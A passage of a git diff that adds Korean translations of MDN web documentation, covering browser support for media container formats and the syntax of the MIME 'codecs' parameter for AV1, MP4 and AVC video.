+<p>호환성을 높이려면 한가지 버전 이상의 미디어 파일 제공을 고려해 볼 수 있습니다. {{HTMLElement("audio")}}, {{HTMLElement("video")}} 엘리먼트 아래에 {{HTMLElement("source")}} 엘리먼트를 추가하여 구현할 수 있죠. 예를 들어 Ogg, WebM 비디오를 우선하되 호환성을 위해 MP4 포맷을 추가할 수 있습니다. 레트로하게 QuickTime이나 AVI 호환을 추가하는 것도 좋은 방법입니다.</p>
+
+<p>구현하려면 우선 {{htmlattrxref("src", "video")}} 어트리뷰트 없이 <code>&lt;video&gt;</code> (또는 <code>&lt;audio&gt;</code>) 엘리먼트를 생성합니다. 그 후 <code>&lt;video&gt;</code> 엘리먼트 아래에 {{HTMLElement("source")}} 엘리먼트를 제공하려는 미디어 포맷별로 추가합니다. 이 방식은 대역폭 상황에 따라 소스를 선택하는 방식으로도 사용할 수 있지만 여기서는 포맷 옵션을 제공하기로 하죠.</p>
+
+<p>아래 예제에서는 두 포맷 타입의 비디오를 제공합니다: WebM and MP4.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/source.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>첫번째 비디오는 WebM 포맷입니다({{htmlattrxref("type", "video")}} 어트리뷰트가 <code>video/webm</code>). {{Glossary("user agent")}}는 재생이 불가능 한 경우 <code>type</code> 이 <code>video/mp4</code> 인 다음 옵션으로넘어갑니다. 둘 다 재생이 불가능 할 경우 "This browser does not support the HTML5 video element." 문구가 표시됩니다.</p>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://portal.3gpp.org/desktopmodules/Specifications/SpecificationDetails.aspx?specificationId=1441">ETSI 3GPP</a></td>
+   <td>3GP 컨테이너 포맷 정의</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.iso.org/standard/53943.html">ISO/IEC 14496-3</a> (MPEG-4 Part 3 Audio)</td>
+   <td>ADTS 포함 한 MP4 오디오 정의</td>
+  </tr>
+  <tr>
+   <td><a href="https://xiph.org/flac/format.html">FLAC Format</a></td>
+   <td>FLAC 포맷 규정</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.iso.org/standard/19180.html">ISO/IEC 11172-1</a> (MPEG-1 Part 1 Systems)</td>
+   <td>MPEG-1 컨테이너 포맷 정의</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.iso.org/standard/74427.html">ISO/IEC 13818-1</a> (MPEG-2 Part 1 Systems)</td>
+   <td>MPEG-2 컨테이너 포맷 정의</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.iso.org/standard/75929.html">ISO/IEC 14496-14</a> (MPEG-4 Part 14: MP4 file format)</td>
+   <td>MPEG-4 (MP4) version 2 컨테이너 포맷 정의</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.iso.org/standard/55688.html">ISO/IEC 14496-1</a> (MPEG-4 Part 1 Systems)</td>
+   <td>오리지널 MPEG-4 (MP4) 컨테이너 포맷 정의</td>
+  </tr>
+  <tr>
+   <td>{{RFC(3533)}}</td>
+   <td>Ogg 컨테이너 포맷 정의</td>
+  </tr>
+  <tr>
+   <td>{{RFC(5334)}}</td>
+   <td>Ogg 미디어 타입 및 확장자 정의</td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.apple.com/library/archive/documentation/QuickTime/QTFF/QTFFPreface/qtffPreface.html">QuickTime File Format Specification</a></td>
+   <td>QuickTime movie (MOV) 포맷 정의</td>
+  </tr>
+  <tr>
+   <td><a href="https://web.archive.org/web/20090417165828/http://www.kk.iij4u.or.jp/~kondo/wave/mpidata.txt">Multimedia Programming Interface and Data Specifications 1.0</a></td>
+   <td>공식 WAVE 스펙에 가까운 문서</td>
+  </tr>
+  <tr>
+   <td><a href="https://docs.microsoft.com/en-us/windows/desktop/xaudio2/resource-interchange-file-format--riff-">Resource Interchange File Format</a> (used by WAV)</td>
+   <td>RIFF 포맷 정의; WAVE는 RIFF의 한 형태</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.webmproject.org/docs/container/">WebM Container Guidelines</a></td>
+   <td>WebM 용 Matroska 적용 가이드</td>
+  </tr>
+  <tr>
+   <td><a href="https://matroska.org/technical/specs/index.html">Matroska Specifications</a></td>
+   <td>WebM 기반 Matroska 컨테이너 포맷 스펙</td>
+  </tr>
+  <tr>
+   <td><a href="https://w3c.github.io/media-source/webm-byte-stream-format.html">WebM Byte Stream Format</a></td>
+   <td><a href="/en-US/docs/Web/API/Media_Source_Extensions_API">Media Source Extensions</a>를 통한 WebM 바이트 스트림 포맷</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: bottom;">컨테이너 포맷 이름</th>
+   <th colspan="3" rowspan="1" scope="col" style="text-align: center; border-right: 2px solid #d4dde4;">오디오</th>
+   <th colspan="3" rowspan="1" scope="col" style="text-align: center;">비디오</th>
+  </tr>
+  <tr>
+   <th scope="col" style="vertical-align: bottom;">MIME type</th>
+   <th scope="col" style="vertical-align: bottom;">Extension(s)</th>
+   <th scope="col" style="vertical-align: bottom; border-right: 2px solid #d4dde4;">Browser support</th>
+   <th scope="col" style="vertical-align: bottom;">MIME type</th>
+   <th scope="col" style="vertical-align: bottom;">Extension(s)</th>
+   <th scope="col" style="vertical-align: bottom; border-right: 2px solid #d4dde4;">Browser support</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row" style="vertical-align: bottom;">3GP</th>
+   <td style="vertical-align: top;"><code>audio/3gpp</code></td>
+   <td style="vertical-align: top;"><code>.3gp</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td style="vertical-align: top;"><code>video/3gpp</code></td>
+   <td style="vertical-align: top;"><code>.3gp</code></td>
+   <td style="vertical-align: top;">Firefox</td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">ADTS (Audio Data Transport Stream)</th>
+   <td style="vertical-align: top;"><code>audio/aac</code></td>
+   <td style="vertical-align: top;"><code>.aac</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top;">—</td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">FLAC</th>
+   <td style="vertical-align: top;"><code>audio/flac</code></td>
+   <td style="vertical-align: top;"><code>.flac</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top;">—</td>
+  </tr>
+  <tr>
+   <th rowspan="2" scope="row" style="vertical-align: top;">MPEG-1 / MPEG-2 (MPG or MPEG)</th>
+   <td style="vertical-align: top;"><code>audio/mpeg</code></td>
+   <td style="vertical-align: top;"><code>.mpg</code><br>
+    <code>.mpeg</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td rowspan="2" style="vertical-align: top;"><code>video/mpeg</code></td>
+   <td rowspan="2" style="vertical-align: top;"><code>.mpg</code><br>
+    <code>.mpeg</code></td>
+   <td rowspan="2" style="vertical-align: top;">Firefox</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;"><code>audio/mp3</code></td>
+   <td style="vertical-align: top;"><code>.mp3</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">MPEG-4 (MP4)</th>
+   <td style="vertical-align: top;"><code>audio/mp4</code></td>
+   <td style="vertical-align: top;"><code>.mp4</code><br>
+    <code>.m4a</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td style="vertical-align: top;"><code>video/mp4</code></td>
+   <td style="vertical-align: top;"><code>.mp4</code><br>
+    <code>.m4v</code><br>
+    <code>.m4p</code></td>
+   <td style="vertical-align: top;">Firefox</td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">Ogg</th>
+   <td style="vertical-align: top;"><code>audio/ogg</code></td>
+   <td style="vertical-align: top;"><code>.oga</code><br>
+    <code>.ogg</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td style="vertical-align: top;"><code>video/ogg</code></td>
+   <td style="vertical-align: top;"><code>.ogv</code><br>
+    <code>.ogg</code></td>
+   <td style="vertical-align: top;">Firefox</td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">QuickTime Movie (MOV)</th>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">—</td>
+   <td style="vertical-align: top;"><code>video/quicktime</code></td>
+   <td style="vertical-align: top;"><code>.mov</code></td>
+   <td style="vertical-align: top;"></td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">WAV (Waveform Audiofile)</th>
+   <td style="vertical-align: top;"><code>audio/wav</code></td>
+   <td style="vertical-align: top;"><code>.wav</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top;">—</td>
+   <td style="vertical-align: top;">—</td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">WebM</th>
+   <td style="vertical-align: top;"><code>audio/webm</code></td>
+   <td style="vertical-align: top;"><code>.webm</code></td>
+   <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+   <td style="vertical-align: top;"><code>video/webm</code></td>
+   <td style="vertical-align: top;"><code>.webm</code></td>
+   <td style="vertical-align: top;">Firefox</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a></li>
+ <li>{{HTMLElement("audio")}} and {{HTMLElement("video")}} elements</li>
+</ul>
diff --git a/files/ko/web/media/formats/코덱파라미터/index.html b/files/ko/web/media/formats/코덱파라미터/index.html
new file mode 100644
index 0000000000..43cce1aa1f
--- /dev/null
+++ b/files/ko/web/media/formats/코덱파라미터/index.html
@@ -0,0 +1,971 @@
+---
+title: 일반 미디어 타입에서 "codecs" 파라미터 사용하기
+slug: Web/Media/Formats/코덱파라미터
+translation_of: Web/Media/Formats/codecs_parameter
+---
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Media")}}</div>
+
+<p>기본적으로, <code>video/mp4</code>, <code>audio/mpeg</code> 처럼 {{Glossary("MIME")}} 타입을 통해 미디어 파일 포맷을 명시할 수 있습니다. 하지만 많은 미디어 타입들이-특히 비디오 트랙을 지원하는 경우-가지고 있는 데이터 포맷에 대해 더 상세하고 정확하게 명시할 수 있습니다. 예를들어 <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MPEG-4</a> 비디오라고 해서 MIME 타입을 <code>video/mp4</code>만 명시한다면 정확히 어떤 미디어를 가지고 있는 지 아무 정보도 알 수 없습니다.</p>
+
+<p>때문에 MIME 타입에 추가로 미디어 콘텐츠를 기술하기 위해 <code>codecs</code> 파라미터가 추가되었습니다. 이를 통해 컨테이너 특화된 정보를 제공할 수 있게 되었습니다 이 정보에는 비디오 코덱의 프로파일, 오디오 트랙 타입 등을 추가할 수 있습니다.</p>
+
+<p><span class="seoSummary">이 가이드 문서는 단순히 컨테이너 타입 명시를 넘어 <code>codecs</code> 파라미터의 문법과 MIME 타입에 비디오/오디오 콘텐츠에 대한 상세 정보를 기술하는 방법에 대해 설명합니다.</span></p>
+
+<h2 id="일반_문법">일반 문법</h2>
+
+<p>기본적인 MIME 미디어 타입 표현은 미디어 타입(<code>audio</code>, <code>video</code>, 등)으로 시작하며, 슬래쉬 문자 (<code>/</code>) 후 미디어를 포함하고 있는 컨테이너 포맷이름으로 이어집니다:</p>
+
+<dl>
+ <dt><code>audio/mpeg</code></dt>
+ <dd>MP3 같은 <a href="/en-US/docs/Web/Media/Formats/Containers#MPEG">MPEG</a> 파일 타입의 오디오 파일입니다.</dd>
+ <dt><code>video/ogg</code></dt>
+ <dd><a href="/en-US/docs/Web/Media/Formats/Containers#Ogg">Ogg</a> 파일 타입의 비디오 파일입니다.</dd>
+ <dt><code>video/mp4</code></dt>
+ <dd><a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MPEG-4</a> 파일 타입을 사용하는 비디오입니다.</dd>
+ <dt><code>video/quicktime</code></dt>
+ <dd>애플 <a href="/en-US/docs/Web/Media/Formats/Containers#QuickTime">QuickTime</a> 포맷을 사용하는 비디오입니다. 다른 곳에서 서술되어 있듯이, 한때는 웹에서 널리 쓰여지던 형식이었지만 현재는 플러그인이 필요하여 더 이상 사용하지 않는 타입입니다.</dd>
+</dl>
+
+<p>위 MIME 타입은 아직 모호한 표현입니다. 각 파일 타입들은 많은 수의 코덱을 지원하며 코덱은 각기 프로파일, 레벨과 같은 설정 인자들을 가지고 있습니다. 그래서 <code>codecs</code> 파라미터를 추가하여 명시할 수 있습니다.</p>
+
+<p>세미콜론 (<code>;</code>)을 붙이고 <code>codecs=</code> 으로 시작하는 문자열을 덧붙여 콘텐츠의 포맷을 서술할 수 있습니다. 일부 미디어 타입은 사용하는 코덱 이름만 명시 가능할 수 있고 다른 미디어 타입은 코덱에 관한 다양한 인자를 기술할 수 있는 경우도 있습니다. 콤마로 구분하여 여러 코덱을 기술할 수도 있습니다.</p>
+
+<dl>
+ <dt><code>audio/ogg; codecs=vorbis</code></dt>
+ <dd><a href="/en-US/docs/Web/Media/Formats/Audio_codecs#Vorbis">Vorbis</a> 오디오 트랙을 포함하는 <a href="/en-US/docs/Web/Media/Formats/Containers#Ogg">Ogg</a> 컨테이너 파일입니다.</dd>
+ <dt><code>video/webm; codecs="vp8, vorbis"</code></dt>
+ <dd><a href="/en-US/docs/Web/Media/Formats/Video_codecs#VP8">VP8</a> 비디오와 <a href="/en-US/docs/Web/Media/Formats/Audio_codecs#Vorbis">Vorbis</a> 오디오를 포함하는 <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a> 컨테이너 파일입니다.</dd>
+ <dt><code>video/mp4; codecs="avc1.4d002a"</code></dt>
+ <dd><a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">AVC</a> (H.264) 코덱에 Main Profile, Level 4.2을 가지는 <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MPEG-4</a> 컨테이너 파일입니다.</dd>
+</dl>
+
+<p>코덱의 속성 중 하나라도 퍼센트-인코딩이 필요한 특수문자{{RFC(2231, "MIME Parameter Value and Encoded Word Extensions", 4)}}를 사용하는 경우 MIME 타입을 기술하는 문자열의 <code>codecs</code> 파라미터를 <code>codecs*</code> (애스터리크(<code>*</code>) 추가됨에 유의)로 변경해야 합니다. JavaScript {{jsxref("Global_Objects/encodeURI", "encodeURI()")}} function으로 파라미터 목록을 인코딩할 수 있습니다; 반대로 {{jsxref("Global_Objects/decodeURI", "decodeURI()")}}를 통해 기인코딩된 파라미터 리스트를 디코딩할 수 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><code>codecs</code> 파라미터를 사용한다면, 파일 콘텐츠가 사용한 모든 코덱을 목록에 명시해야합니다. 목록에 파일이 사용하고 있지 않은 코덱을 명시하는 것도 가능합니다.</p>
+</div>
+
+<h2 id="컨테이너별_코덱_옵션">컨테이너별 코덱 옵션</h2>
+
+<p>아래 컨테이너들은 <code>codecs</code> 파라미터에 확장 옵션을 지원합니다:</p>
+
+<div class="index">
+<ul>
+ <li>{{anch("ISO-BMFF", "3GP")}}</li>
+ <li>{{anch("AV1")}}</li>
+ <li>{{anch("ISO-BMFF", "ISO BMFF")}}</li>
+ <li>{{anch("ISO-BMFF", "MPEG-4")}}</li>
+ <li>{{anch("ISO-BMFF", "QuickTime")}}</li>
+ <li>{{anch("WebM")}}</li>
+</ul>
+</div>
+
+<p>링크를 클릭하면 동일한 섹션으로 이동할텐데요; 위 미디어 타입들은 모두 ISO Base Media File Format (ISO BMFF)를 기반하고 있어, 동일한 문법을 공유하기 때문입니다.</p>
+
+<h3 id="AV1">AV1</h3>
+
+<p>AV1의 <code>codecs</code> 문법은<a href="https://aomediacodec.github.io/av1-isobmff">AV1 Codec ISO Media File Format Binding</a> 스펙 문서의, 섹션 5: <a href="https://aomediacodec.github.io/av1-isobmff/#codecsparam">Codecs Parameter String</a>에 정의되어 있습니다.</p>
+
+<pre class="notranslate">av01.P.LLT.DD[.M[.CCC[.cp[.tc[.mc[.F]]]]]]</pre>
+
+<p>아래 표에서 코덱 파라미터 문자열 구성요소에 대해 자세히 설명하고 있습니다. 각 요소들은 고정된 개수의 문자로 되어 있으며;고정 길이보다 짧은 경우 앞에 0을 붙여서 맞춰야 합니다..</p>
+
+<table class="standard-table">
+ <caption>AV1 코덱 파라미터 문자열 요소</caption>
+ <thead>
+  <tr>
+   <th scope="col">요소</th>
+   <th scope="col">내용</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>P</code></td>
+   <td>
+    <p>한자리 숫자 프로파일 번호:</p>
+
+    <table class="standard-table">
+     <caption>AV1 프로파일 번호</caption>
+     <thead>
+      <tr>
+       <th scope="col">프로파일 번호</th>
+       <th scope="col">설명</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td>0</td>
+       <td>"Main" 프로파일; YUV 4:2:0/모노크롬 크로마 서브샘플링 및 8/10 비트 색 깊이 지원.</td>
+      </tr>
+      <tr>
+       <td>1</td>
+       <td>"High" 프로파일 4:4:4 크로마 서브샘플링 추가 지원.</td>
+      </tr>
+      <tr>
+       <td>2</td>
+       <td>"Professional" 프로파일, 4:2:2 크로마 서브샘플링 및 12 비트 색 깊이 추가 지원</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <td><code>LL</code></td>
+   <td>두자리 숫자 레벨 번호,  X.Y 형태의 레벨 포맷으로 변환 됨, <code>X = 2 + (LL &gt;&gt; 2)</code>, <code>Y = LL &amp; 3</code>. 자세한 내용은 AV1 스펙 문서의 <a href="https://aomediacodec.github.io/av1-spec/#levels">Appendix A, section 3</a> 참조.</td>
+  </tr>
+  <tr>
+   <td><code>T</code></td>
+   <td>한자리 문자 티어 표시. Main 티어라면 (<code>seq_tier</code> equals 0), 문자는 <code>M</code>. High 티어는 (<code>seq_tier</code> is 1) <code>H</code>. High 티어는 4.0 이상 레벨에서만 가능합니다.</td>
+  </tr>
+  <tr>
+   <td><code>DD</code></td>
+   <td>두자리 숫자 색 깊이. 8, 10, 12 중 하나여야 하며; 프로파일과 다른 속성에서 지원 가능한 값이여야 합니다.</td>
+  </tr>
+  <tr>
+   <td><code>M</code></td>
+   <td>한자리 숫자 모노크롬 플래그; 0인 경우 비디오는 U, V, Y 성분을 모두 가지고 있습니다. 아닌 경우 전체 비디오 데이터는 Y(휘도) 성분 뿐으로 모노크롬 이미지를 가집니다. 자세한 내용은 {{SectionOnPage("/en-US/docs/Web/Media/Formats/Video_concepts", "YUV")}}를 참조하여 YUV 컬러 시스템이 어떻게 동작하는지 알아보세요. 기본 값은 0 (모노크롬 아님)입니다.</td>
+  </tr>
+  <tr>
+   <td><code>CCC</code></td>
+   <td>
+    <p><code>CCC</code> 는 세자리 숫자로 크로마 서브샘플링을 표기합니다. 첫번째 숫자는 <code>subsampling_x</code>, 두 번째 숫자는 <code>subsampling_y</code>. 둘다 1인경우, 세번째 값은 <code>chroma_sample_position</code>; 아닌 경우 세번째 값은 항상 0입니다. <code>M</code> 값과 더불어 크로마 서브샘플링 포맷을 구성하는 요소입니다:</p>
+
+    <table class="standard-table">
+     <caption>크로마 서브샘플링 결정 방식</caption>
+     <thead>
+      <tr>
+       <th scope="col">subsampling_x</th>
+       <th scope="col">subsampling_y</th>
+       <th scope="col">Monochrome flag</th>
+       <th scope="col">Chroma subsampling format</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <td>0</td>
+       <td>0</td>
+       <td>0</td>
+       <td>YUV 4:4:4</td>
+      </tr>
+      <tr>
+       <td>1</td>
+       <td>0</td>
+       <td>0</td>
+       <td>YUV 4:2:2</td>
+      </tr>
+      <tr>
+       <td>1</td>
+       <td>1</td>
+       <td>0</td>
+       <td>YUV 4:2:0</td>
+      </tr>
+      <tr>
+       <td>1</td>
+       <td>1</td>
+       <td>1</td>
+       <td>YUV 4:0:0 (Monochrome)</td>
+      </tr>
+     </tbody>
+    </table>
+
+    <p><code>CCC</code>의 세번째 값은 크로마 샘플 위치(chroma sample position)로, 0은 위치를 알 수 없으며 디코딩 시 개별적으로 제공해야 함을 의미합니다; 1은 샘플이 (0, 0) 휘도 샘플과 동일한 수평선상에 있음을 의미합니다; 2는 샘플이 (0, 0) 휘도 샘플과 동일한 위치에 있음을 의미합니다.</p>
+
+    <p>기본 값은 <code>110</code> (4:2:0 크로마 서브샘플링)입니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>cp</code></td>
+   <td>두자리 숫자 <code>color_primaries</code> 값은 미디어의 색 공간을 표시합니다. 예를 들어 HDR 비디오에서 사용하는 BT.2020/BT.2100 색 공간은 <code>09</code>입니다. 자세한 정보-그 외의 색 공간 값을 포함하여-는 AV1 스펙 문서의 <a href="https://aomediacodec.github.io/av1-spec/#color-config-semantics">Color config semantics section</a> 를 참조하세요. 기본값은 <code>01</code> (ITU-R BT.709)입니다.</td>
+  </tr>
+  <tr>
+   <td><code>tc</code></td>
+   <td>두자리 숫자 <code>transfer_characteristics</code> 값. 이 값은 소스에서 디스플레이로 감마를 매핑하는 함수(기술적인 용어로 "opto-electrical transfer function"라 표현)를 정의합니다. 예를 들어 10-bit BT.2020는 <code>14</code>입니다. 기본 값은 <code>01</code> (ITU-R BT.709)입니다.</td>
+  </tr>
+  <tr>
+   <td><code>mc</code></td>
+   <td>두자리 숫자 <code>matrix_coefficients</code> 상수는 RGB 컬러 채널을 휘도/색차 신호로 변환 시 사용할 계수 행렬을 선택합니다. 예를 들어 BT.709의 표준 계수 값은 <code>01</code>로 표현합니다. 기본 값은 <code>01</code> (ITU-R BT.709)입니다.</td>
+  </tr>
+  <tr>
+   <td><code>F</code></td>
+   <td>한자리 숫자로 색상이 가능한 모든 범위를 표현해야 할지(<code>1</code>), 지정한 색 설정에 의해 적합하다고 여겨지는 범위로 제한하여 표현(<strong>studio swing representation</strong>이라 표현)해야 할지를 나타내는 값입니다. 기본 값은 0 (studio swing representation 적용)입니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>M</code> (모노크롬 플래그)이후의 요소는 모두 비필수입니다; 어느 곳에서부터나 생략할 수 있습니다 (하지만 임의의 중간 요소를 생략할 수는 없습니다). 기본 값은 위 표에 서술하였습니다. AV1 코덱 문자열 예시는 아래와 같습니다:</p>
+
+<dl>
+ <dt><code>av01.2.15M.10.0.100.09.16.09.0</code></dt>
+ <dd>AV1 Professional 프로파일, 레벨 5.3, Main 티어, 10 비트 색 깊이, 4:2:2 크로마 서브샘플링 ITU-R BT.2100 색 공간, 색 전환 YCbCr 색상 행렬. Studio swing representation 적용.</dd>
+ <dt><code>av01.0.15M.10</code></dt>
+ <dd>AV1 Main 프로파일, 레벨 5.3, Main 티어, 10 비트 색 깊이. 나머지 요소는 기본 값 사용: 4:2:0 크로마 서브 샘플링, BT.709 색 공간, 색 전환, 계수 행렬 사용. Studio swing representation.</dd>
+</dl>
+
+<h3 id="ISO_Base_Media_File_Format_MP4_QuickTime_and_3GP"><a id="ISO-BMFF" name="ISO-BMFF">ISO Base Media File Format: MP4, QuickTime, and 3GP</a></h3>
+
+<p>모든 미디어 타입은 {{interwiki("wikipedia", "ISO Base Media File Format")}} (ISO BMFF)를 기반으로 하며 <code>codecs</code> 문법을 공유합니다. 이들 미디어 타입은 <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MPEG-4</a> (또 사실상 MPEG-4를 기반으로 하고 있으므로 <a href="/en-US/docs/Web/Media/Formats/Containers#QuickTime">QuickTime</a>도 포함)과 <a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>를 포함합니다. MIME 타입의 <code>codecs</code> 파라미터를 통해 아래와 같이 비디오/오디오 트랙 둘 다 기술할 수 있습니다.:</p>
+
+<table class="standard-table">
+ <caption>ISO BMFF codecs 파라미터를 지원하는 기본 MIME 타입</caption>
+ <thead>
+  <tr>
+   <th scope="col">MIME 타입</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>audio/3gpp</code></td>
+   <td>3GP 오디오 ({{RFC(3839, "MIME Type Registrations for 3rd generation Partnership Project (3GP) Multimedia files")}})</td>
+  </tr>
+  <tr>
+   <td><code>video/3gpp</code></td>
+   <td>3GP 비디오 ({{RFC(3839, "MIME Type Registrations for 3rd generation Partnership Project (3GP) Multimedia files")}})</td>
+  </tr>
+  <tr>
+   <td><code>audio/3gp2</code></td>
+   <td>3GP2 오디오 ({{RFC(4393, "MIME Type Registrations for 3GPP2 Multimedia files")}})</td>
+  </tr>
+  <tr>
+   <td><code>video/3gp2</code></td>
+   <td>3GP2 비디오 ({{RFC(4393, "MIME Type Registrations for 3GPP2 Multimedia files")}})</td>
+  </tr>
+  <tr>
+   <td><code>audio/mp4</code></td>
+   <td>MP4 오디오 ({{RFC(4337, "MIME Type Registration for MPEG-4")}})</td>
+  </tr>
+  <tr>
+   <td><code>video/mp4</code></td>
+   <td>MP4 비디오 ({{RFC(4337, "MIME Type Registration for MPEG-4")}})</td>
+  </tr>
+  <tr>
+   <td><code>application/mp4</code></td>
+   <td>오디오/비디오가 아닌 MPEG-4 컨테이너 미디어</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>codecs</code> 파라미티에는 간단하게 컨테이너 명(<code>3gp</code>, <code>mp4</code>, <code>quicktime</code>, etc.)만 기술할 수도 있으며 컨테이너 명에 코덱 이름 및 설정 값을 함께 기술할 수도 있습니다. 각 코덱 등은 온점(<code>.</code>)으로 구분된 요소를 다수 가질 수 있습니다.</p>
+
+<p><code>codecs</code> 값의 문법은 코덱마다 다릅니다; 하지만 항상 4 글자 코덱 구분자와 온점(<code>.</code>)으로 시작하며 데이터 포맷을 기술하기 위핸 Object Type Indication (OTI) 형식의 문자열이 뒤따릅니다. 대부분의 코덱에서 OTI는 두자리 16진수로 되어 있지만 <a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">AVC (H.264)</a>는 6자리 16진수로 구성되어 있습니다.</p>
+
+<p>따라서 지원하는 코덱 문법은 아래와 유사합니다:</p>
+
+<dl>
+ <dt><code>cccc[.pp]*</code> (Generic ISO BMFF)</dt>
+ <dd><code>cccc</code> 는 4 글자 코덱 ID이며  <code>pp</code>는 0~2자리 인코딩 된 문자입니다.</dd>
+ <dt><code>mp4a.oo[.A]</code> (MPEG-4 audio)</dt>
+ <dd><code>oo</code> 는 미디어 콘텐츠를 더 정확하게 기술하는 Object Type Indication 값이며 <code>A</code> 는 한자리 숫자<em>오디오</em> OTI입니다. OTI로 가능한 값은 MP4 Registration Authority 웹사이트의 <a href="http://mp4ra.org/#/object_types">Object Types page</a> 페이지에서 확인할 수 있습니다. 예를들어 MP4 파일의 Opus 오디오는 <code>mp4a.ad</code>로 기술합니다. 자세한 내용은 {{anch("MPEG-4 audio")}}를 참조하세요.</dd>
+ <dt><code>mp4v.oo[.V]</code> (MPEG-4 video)</dt>
+ <dd>마찬가지로 <code>oo</code> 는 미디어 콘텐츠를 명시하는 OTI 값이며, <code>V</code> 는 한자리 숫자 <em>비디오</em> OTI 값입니다.</dd>
+ <dt><code>avc1.oo[.PPCCLL]</code> (AVC video)</dt>
+ <dd>
+ <p><code>oo</code> 는 콘텐츠를 명시하는 OTI 값이며, while <code>PPCCLL</code> 는 6자리 16진수로써 프로파일 넘버 (<code>PP</code>), 제약 플래그 (<code>CC</code>), 레벨 (<code>LL</code>)을 의미합니다. <code>PP</code>로 가능한 값은 {{anch("AVC profiles")}}를 참조하세요.</p>
+
+ <p>제약 플래그는 1 비트 불리언 값이며, MSB는 flag 0(또는 일부에선 <code>constraint_set0_flag</code>)로 취급합니다. 그리고 이어지는 비트는 하나씩 번호가 높게 매겨집니다. 현재로썬 0부터 2번째 비트까지만 사용하며;나머지 5개의 비트는 <em>반드시</em> 0이어야합니다. 각 플래그의 의미는 사용하는 프로파일에 따라 달라집니다.</p>
+
+ <p>레벨 값은 고정 소수점이므로 숫자 <code>14</code> (10진법 20) 은 레벨 2.0을 의미하며 <code>3D</code> (10진법 61) 은 레벨 6.1을 의미합니다. 일반적으로 레벨 숫자가 높을 수록 스트림 대역폭이 높아 더 큰 크기의 비디오를 지원할 수 있습니다.</p>
+ </dd>
+</dl>
+
+<h4 id="AVC_프로파일">AVC 프로파일</h4>
+
+<p>아래의 AV 프로파일 넘버는 <code>codecs</code> 파라미터에서 사용하며 제약 요소 값은 <code>CC</code>로 사용할 수 있습니다.</p>
+
+<table class="standard-table">
+ <caption><code>codecs</code>  파라미터에서 AVC 프로파일과 제약 요건을 명세하기 위한 값</caption>
+ <thead>
+  <tr>
+   <th scope="col">프로파일</th>
